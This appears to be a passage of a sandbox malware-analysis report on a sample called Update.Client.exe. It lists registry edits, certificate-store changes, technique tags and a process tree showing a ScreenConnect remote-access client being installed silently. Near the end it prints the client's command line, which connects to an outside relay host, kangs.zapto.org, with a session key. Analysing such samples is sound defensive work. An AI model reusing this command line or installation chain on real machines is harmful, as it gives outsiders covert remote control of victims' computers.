Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 32003000320035002f00300033002f00300037002000310034003a00340035003a00330033000000	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_0b6dd0986e432635	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071\identity = 53637265656e436f6e6e6563742e436c69656e74536572766963652c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071\Transform = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06\Files	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\lock!0600000025d2570e081200001c040000000000000000000 = 30303030313230382c30316462386636663862623730393430	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Assemblies	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 680074007400700073003a002f002f0077006900730065002e00730063007200650065006e006e006500630074002e0063006f006d002f00420069006e002f00530063007200650065006e0043006f006e006e006500630074002e0043006c00690065006e0074002e006d0061006e00690066006500730074000000	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\Files\ScreenConnect.WindowsFileManager.exe_0e21 = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a\Files\ScreenConnect.Client.dll_fc1d7bd48553fcab = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Installations	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0003_0b6dd0986e432635\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb90704	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a\Transform = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Applications\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\identity = 68747470733a2f2f776973652e73637265656e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2f53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\lock!04000000c1d2570e8c0b0000c0130000000000000000000 = 30303030306238632c30316462386636663934623063613164	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575\lock!10000000d1d2570e8c0b0000c0130000000000000000000 = 30303030306238632c30316462386636663934623063613164	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Applications\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\HasRunBefore = 01	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a\identity = 53637265656e436f6e6e6563742e436c69656e742c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{60051b8f-4f12-400a-8e50-dd05ebd438d1}\scre..tion_25b0fbb6ef7eb = 68747470733a2f2f776973652e73637265656e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\lock!010000000bd1570e081200001c040000000000000000000 = 30303030313230382c30316462386636663862623730393430	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\implication!scre..tion_25b0fbb6ef7eb094_0018.0003_0b6dd09 = 68747470733a2f2f776973652e73637265656e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071\identity = 53637265656e436f6e6e6563742e436c69656e74536572766963652c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013\identity = 53637265656e436f6e6e6563742e57696e646f7773436c69656e742c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\Files\ScreenConnect.WindowsFileManager.exe.conf = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013\DigestValue = 0203b65e92d2d1200dd695fe4c334955befbddd3	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036\Files\ScreenConnect.Windows.dll_fc0d83aff7df0b5 = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a449 = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\Gi_scre..tion_25b0fbb6ef7eb094_9edfe039055229dd	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\F_scre..tion_25b0fbb6ef7eb094_e9144fe856086847\LastRunVersion = 68747470733a2f2f776973652e73637265656e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2f53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071\DigestMethod = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06\lock!0e000000c1d2570e8c0b0000c0130000000000000000000 = 30303030306238632c30316462386636663934623063613164	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036\lock!16000000d1d2570e8c0b0000c0130000000000000000000 = 30303030306238632c30316462386636663934623063613164	ScreenConnect.WindowsClient.exe

Modifies system certificate store 2 TTPs 4 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	Update.Client.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	Update.Client.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	Update.Client.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579	Update.Client.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4484	ScreenConnect.ClientService.exe
4484	ScreenConnect.ClientService.exe
4484	ScreenConnect.ClientService.exe
4484	ScreenConnect.ClientService.exe
4484	ScreenConnect.ClientService.exe
4484	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4616	dfsvc.exe
Token: SeDebugPrivilege	4484	ScreenConnect.ClientService.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 4616	2196	Update.Client.exe	84
PID 2196 wrote to memory of 4616	2196	Update.Client.exe	84
PID 4616 wrote to memory of 2956	4616	dfsvc.exe	93
PID 4616 wrote to memory of 2956	4616	dfsvc.exe	93
PID 4616 wrote to memory of 2956	4616	dfsvc.exe	93
PID 2956 wrote to memory of 4804	2956	ScreenConnect.WindowsClient.exe	94
PID 2956 wrote to memory of 4804	2956	ScreenConnect.WindowsClient.exe	94
PID 2956 wrote to memory of 4804	2956	ScreenConnect.WindowsClient.exe	94
PID 4484 wrote to memory of 2692	4484	ScreenConnect.ClientService.exe	96
PID 4484 wrote to memory of 2692	4484	ScreenConnect.ClientService.exe	96
PID 4484 wrote to memory of 2692	4484	ScreenConnect.ClientService.exe	96
PID 4484 wrote to memory of 4960	4484	ScreenConnect.ClientService.exe	99
PID 4484 wrote to memory of 4960	4484	ScreenConnect.ClientService.exe	99
PID 4484 wrote to memory of 4960	4484	ScreenConnect.ClientService.exe	99

C:\Users\Admin\AppData\Local\Temp\Update.Client.exe
"C:\Users\Admin\AppData\Local\Temp\Update.Client.exe"
1⤵
- Manipulates Digital Signatures
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
  2⤵
  - Downloads MZ/PE file
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4616
- - C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe
    "C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe"
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2956
  - - C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe
      "C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=kangs.zapto.org&p=8041&s=210e492a-3b03-498e-9aad-524dc45ea564&k=BgIAAACkAABSU0ExAAgAAAEAAQBt8GydmSLuUL0rwf9arK5NYD7z7WrABmq8Uzh9zE31Q97LnDTxIZVwBMKTUsuKlLYpBn%2bf6X5fdIbD%2ftv5c%2fvLfwjvbw8EJbtsI40lfM%2fyIZXf4iGQ72nz000p%2fDoWJq0%2fot0u9HnMs7tIP%2b3iM4dIB%2fKqF4ljbFOTUIzo%2by%2f4uNqPdUjUDKkjwIS2RMRnDXymk2UuvwQXBvTx7Az8NN3f2YwOhqorGi%2b5f2RYPQl3FXcl7BQM2TmPkZp324mMjUJjOIMZEzQr%2fWLh6W%2bN5FPaBKOuV3ZZz4TcfKV%2bEwny%2bjRgRDf2%2f7I3CerXq8IdyGdJRk0PW4H8fV1kBmDpTGqh&r=&i=Untitled%20Session" "1"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:4804
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2196 -s 308
  2⤵
  - Program crash
  PID:4608

C:\Users\Admin\AppData\Local\Apps\2.0\RJM1LC52.JNJ\BT64G6VO.ENA\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe
